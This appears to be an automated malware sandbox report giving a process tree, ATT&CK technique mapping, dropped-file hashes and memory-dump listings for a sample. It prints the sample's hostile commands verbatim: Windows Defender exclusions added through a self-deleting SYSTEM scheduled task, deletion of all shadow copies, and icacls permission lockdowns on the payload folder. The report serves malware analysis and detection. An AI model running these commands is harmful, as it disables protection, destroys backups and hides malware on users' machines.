- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1944
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4296
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2188
- C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe
  "C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe"
  2⤵
  PID:5932
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4116
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5856
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:4752
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2280
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:6692
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5468
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2516
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:2672
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:6600
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3328
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:6176
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2836
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4068
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:6528
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:7164
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2316
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1152
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4268
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:6268
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:6064
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1160
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1488
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2560
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Dz1LJl\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:6972
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Dz1LJl\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:1280

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KXH7kV" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:7112
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KXH7kV" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6000

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4264

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3388

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6508
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4812

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4428

C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe
"C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe"
1⤵
PID:6204

C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe
"C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe"
1⤵
PID:2684

C:\Program Files (x86)\NukCO\x3BfMmYUd.exe
"C:\Program Files (x86)\NukCO\x3BfMmYUd.exe"
1⤵
PID:1188

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
1⤵
- Modifies file permissions
PID:2676

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe" /grant:r Users:(RX) /deny Users:(DE)
1⤵
- Modifies file permissions
PID:908

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\Dz1LJl\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
1⤵
- Modifies file permissions
PID:6332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59965b.rbs

Path C:\Config.Msi\e59965b.rbs
Size 7KB
SHA256 667f4d75baae0e492ce8bb64b6fc790e0fc5fe3c714ab458a58f092cd3d1c2d7
MD5 16669d01e7131131f09dda65cee230bc
SHA1 faab08a975c66a282bcb3fb21e64bdc8bc63e8c5
SHA512 4f914fbaff270d5aa2c36483363a9e026b276a82637d16b89fc028e86506024d28ab29a2d878edceccab1da9f136278c8c589b26a1d61b2cf7267a8936e6667b
SSDEEP 96:ZDuwguT7RCHPkPaUUbn1CsThq5Ubn1C6joXPxtThqxH6S5ivW1EVNCKplj8u48jV:ZDxC7z7IIX7Ib8k2Kpv
TLSH
T1A4F1FC42A70096F3EF871B76C713176637B3E3E89220174F099D88605E5638C6E9A29F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\Dz1LJl\XPSPLOG.dll
Size 4.6MB
SHA256 4d212b58161071d1e4060c9fe21373824e1e8405b447d9aa9a0e93fcd0c21179
MD5 7978afad97c4532b3d87da4ed9e155af
SHA1 968e6cb807569c3497aa5ae1a559cb9972c504a6
SHA512 28ead3d615e34a471dc3d489221357af6674b1aa5a526b6c47e2625616a6a7c56b0ac5bc1ef7af3f54cad61f1e1a3156bf0a2385d6145963d52389e7228c0777
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmys:BMWKfU+BcUTHCCCfqCiUffns
TLSH
T1CF263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\Dz1LJl\image.png
Size 5.0MB
SHA256 93ae877e42c18415233db65baa485f6006268e20dd410347a6e4d49d655cc783
MD5 69bbcbd67af28616c8e891263e729d91
SHA1 4a49140d97384d4c6e9b6ef6ee4751b8950b9903
SHA512 668db482f2e31577e17c545114ad9c4c67319603381ca402b89e183b03ee8a7f89106f8e6304f755cd2bb3125d6ce3f272562191541818a914e25de8bcb17699
SSDEEP 98304:CqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:+/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T10F363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jn6Jyd.exe

Path C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\Dz1LJl\thumbs.db
Size 358KB
SHA256 5687db9be17727c077f4d8f1c10cded3aa96c24dbcf88cecff7fc01f5d578c17
MD5 60b5f348e5d7a36ef820b2014750b6cf
SHA1 1f5c6f26b13f98620022ff202927cd78ec9fa4eb
SHA512 970acdbfaf0a84b66fddcc0d86c494a20f7bdaf34c734141ff5e7ae9876520a4fa54f897995c774cffd305c8697fff7462a518ed82986dd416d9539f169dbbd7
SSDEEP 6144:EiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:z8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T16674F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\NukCO\XPSPLOG.dll
Size 4.0MB
SHA256 6188ffc72def0944c8695b84927b87492cc40aed88134e652c689b02c2257647
MD5 a2a521831ebb7926b471b8e03c45df56
SHA1 68eca138e70ad2edb790c41adb732f01cc48f5b7
SHA512 446b0a6609cba27f101fc4601f8b4369d782c79de7c5260c6b6a10f70b81fb8ec43d24b75e84d8751ef36100ab144c45adbffb114669c3ed8cf15e4168049c43
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB9:BMWKfU+BcUTHCCCfqCiUL
TLSH
T17E16330EBADB060DD89672B45F2DFC7EB6742CCC4318DD89D499748BD4B2B29603990E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\NukCO\XPSPLOG.dll
Size 3.0MB
SHA256 ec52cf36a238a14a2e3dd31890576c8c04bdba5841cd4f0f5dff50e3d0691846
MD5 2bd4a4710d5065d2a525b7148d103a88
SHA1 33ad59df58311eaddd9745e63b935e2600b64250
SHA512 cad11a4646754b74483132b51869e9079ade670fe0a47791ef23022cdd60a49975ac02d999a2ded0406adde531b317917cf63fcd9394c8d6622527d791bfb18d
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCU0:yCMWmcKfST5t+BceThTHfaCCU0
TLSH
T1D4E533CAAA8B511AF62132B95F7DEC7DB6BC4AC4431CFC45D8A6314F4054BAE903CA4D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LeHZ7V.exe

Path C:\Users\Public\KXH7kV\LeHZ7V.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\KXH7kV\UxEnhance64.dll
Size 3.1MB
SHA256 72776dc3d9c75fa289a9fdbd8434962f23aa92b7b3b6f8443d63933177f7c7a4
MD5 591a649db4dfacdf2f536ff1a414416b
SHA1 889353ab51e062fb35dc4e48ede22d91f3e485ae
SHA512 79498276eb6c33a98d24b3fbdb9c2f532df18df7f05d62969ba4ec5a7a96b570476cd8b42378af175e5ad0ff0ce074f64826d2daf5743e1d1af9b83af15d407f
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+U:P9m29xx3Tiqt06ox6+z2rNNrKoU
TLSH
T133E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\KXH7kV\adoresd.dat
Size 4.7MB
SHA256 8f233ea66f114535edfd999979847d1e0a8aa5607d6057275c52e09aadd7c760
MD5 764aa96d73d33b10ea2d1a6efb100eb2
SHA1 b15950f975ec524790adafcdfea064a526f5eba3
SHA512 b2e09e8bfbd9baf3e2eb4699dde60f448de698e0fe71b3d6fd3706ff0912ab6dcd2df68420b5b84ad42bf7d91582342d79fca2b87753f3ffcd98f4449264eb1e
SSDEEP 98304:/mu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:uu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T10C3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\KXH7kV\msadox.tb
Size 8KB
SHA256 86a3b8060b729c00b8f82ac12487e0058cc5cd877b1efb0d149e7cc01c450124
MD5 3c612849e8fbe01fe26f41f049593262
SHA1 3295a62696869b00d3a844aedc3b26cf34b4983f
SHA512 82e153fb64a53e8d2ccd8d5174e14e5a1d96a2c2cd7e13d1f256cf1fd585eedf5ae04a147fe23317275190d6557059a07d1deaa313a659f46df9758710b4f34f
SSDEEP 192:kqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ksZqZOXQ3uqvR2Kfzp
TLSH
T191029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

MSI9CD4.tmp

Path C:\Windows\Installer\MSI9CD4.tmp
Size 5.1MB
SHA256 bf7bd657534b9fb48d046c6ff7e610c610316d9394e7a14855f13b6ab2ced942
MD5 45ac0f3687161151c7df7f060a5c87a6
SHA1 377d7d3671c13e3f861649ab2f1d8d75018c8bda
SHA512 4a43932c0b618c4b929e6fc26fd6ffa9be0050396f287bb79c37de01feab0af1a49f3ade9121d64946c7479cbe6a044de5d9088bc75db951029a76c537311647
SSDEEP 98304:XHNHIgJl7hBFpn+E+sQ5Sq3YJ4IXPV7hF3yEbB7tVSSDvH:XH9FJl1BFpnQ5LYHlFQYvH
TLSH
T1504633D57E8A73B8D15FCBB12163746F7D6933C27A628C0ABE893D004E62B1423B5749
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e59965a.msi

Path C:\Windows\Installer\e59965a.msi
Size 5.1MB
SHA256 1409ae7f12649e3ef5cc0bf27fa2c7d00afbe24e386f1899adda937652556a1b
MD5 d46807581bef0ec5d61e4deccba7bc27
SHA1 c2717eb652fd59f35367f96b575dbcde910284dc
SHA512 20e184f56210ed9d72e6f21669c238d4c48d95ca66eeb0990c33e07df181aae921a690b46ae66e90b57efac9e31982362f26f87877638cb1842b64399940d125
SSDEEP 98304:XHNHIgJl7hBFpn+E+sQ5Sq3YJ4IXPV7hF3fEbB7tVSSDv:XH9FJl1BFpnQ5LYHlGQYv
TLSH
T1674633D57EC96378D15FCBB12153A5AF7D697FC27A628C0A79893D004E72B2423B1388
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 63fd7a512a5acec0709dd5453e30d8a1f45cde372b3520ea46779094f1e8678e
MD5 4fe655b44e3ea11dee14d4e280efaf11
SHA1 8c5fe6d6749c9ce9800ef7fcba52b2810896689e
SHA512 69d02f5d1855790260367a9fec71d9d7fc4ea9a9b4522606168cca2e7ce019466e29e7e50cb44e743981b6ca8db203a8483e50d1803db12cb6d084ae4f7677c4
SSDEEP 24576:SFo3DMPIdoO/vvTL/yAQQiVQfL+a77XDkNmSdNe4mlea53hg8YxWA5KRE+a:PHY
TLSH
T1FF57E42436F92111E7F79E3CA8F06A274D397D979C19DE8D05811B4E0822F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{12e0bc72-b749-4aba-a45a-9cea7b999675}_OnDiskSnapshotProp

Path \??\Volume{c4492839-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{12e0bc72-b749-4aba-a45a-9cea7b999675}_OnDiskSnapshotProp
Size 6KB
SHA256 15b31ac1aea8e7c5f9388c0e6766b3047089ef9ddeb8a7491f95d70eb702e17c
MD5 0f2cd7739b83506577a285fc06a8538b
SHA1 8b6f5b051791f42ae1e0eb8c841491ed80172f77
SHA512 d575324a8c2514922cf264e3b9f6e92ae31f17a8376312c3de77323d8d993c4b9f71924b22c1fb69e45bcc4f20165bf02ed6adafb71a5d24b6a696bf978112a4
SSDEEP 96:F4TMcjvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:eTBb++uVmN
TLSH
T1F6D187085AF54711E2B3AB312DF18557A877B811EF33CB8E0198238E6661910F935F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/2684-247-0x0000000000D80000-0x0000000000D81000-memory.dmp

Download

memory/2684-248-0x0000000075270000-0x00000000759BA000-memory.dmp

Download

memory/3144-38-0x00007FFE2F180000-0x00007FFE2F192000-memory.dmp

Download

memory/3144-16-0x00007FFE2F180000-0x00007FFE2F192000-memory.dmp

Download

memory/3144-13-0x00007FFE210D0000-0x00007FFE21727000-memory.dmp

Download

memory/3144-12-0x00007FFE44B90000-0x00007FFE44B92000-memory.dmp

Download

memory/4584-88-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/4584-69-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/4584-85-0x000001E12FB90000-0x000001E12FC1A000-memory.dmp

Download

memory/4584-84-0x000001E12FB90000-0x000001E12FC1A000-memory.dmp

Download

memory/4584-83-0x000001E12FB90000-0x000001E12FC1A000-memory.dmp

Download

memory/4584-77-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/4584-90-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/4584-91-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/4584-55-0x00007FFE44B90000-0x00007FFE44B92000-memory.dmp

Download

memory/4584-56-0x00007FFE21210000-0x00007FFE2172E000-memory.dmp

Download

memory/4584-61-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/4584-63-0x00007FFE44BA0000-0x00007FFE44BA2000-memory.dmp

Download

memory/4584-81-0x000001E12FAB0000-0x000001E12FAFE000-memory.dmp

Download

memory/4584-71-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/4584-70-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/4584-64-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/4584-86-0x000001E12FB90000-0x000001E12FC1A000-memory.dmp

Download

memory/4584-68-0x000001E1305C0000-0x000001E130E51000-memory.dmp

Download

memory/5932-207-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/5932-235-0x0000000003610000-0x0000000003E17000-memory.dmp

Download

memory/5932-189-0x00000000011F0000-0x00000000011F1000-memory.dmp

Download

memory/5932-194-0x0000000003610000-0x0000000003E17000-memory.dmp

Download

memory/5932-201-0x0000000001240000-0x0000000001254000-memory.dmp

Download

memory/5932-202-0x0000000003610000-0x0000000003E17000-memory.dmp

Download

memory/5932-187-0x0000000003610000-0x0000000003E17000-memory.dmp

Download

memory/5932-183-0x0000000075270000-0x00000000759BA000-memory.dmp

Download

memory/5932-220-0x0000000003610000-0x0000000003E17000-memory.dmp

Download

memory/5932-190-0x0000000003610000-0x0000000003E17000-memory.dmp

Download

memory/5932-251-0x0000000003610000-0x0000000003E17000-memory.dmp

Download

memory/5932-182-0x0000000000DB0000-0x0000000000DB1000-memory.dmp

Download

memory/6204-238-0x0000000075270000-0x00000000759BA000-memory.dmp

Download

memory/6204-237-0x0000000001310000-0x0000000001311000-memory.dmp

Download

memory/6524-113-0x000001D11FA50000-0x000001D11FA5A000-memory.dmp

Download

memory/6524-110-0x000001D11F990000-0x000001D11FA42000-memory.dmp

Download

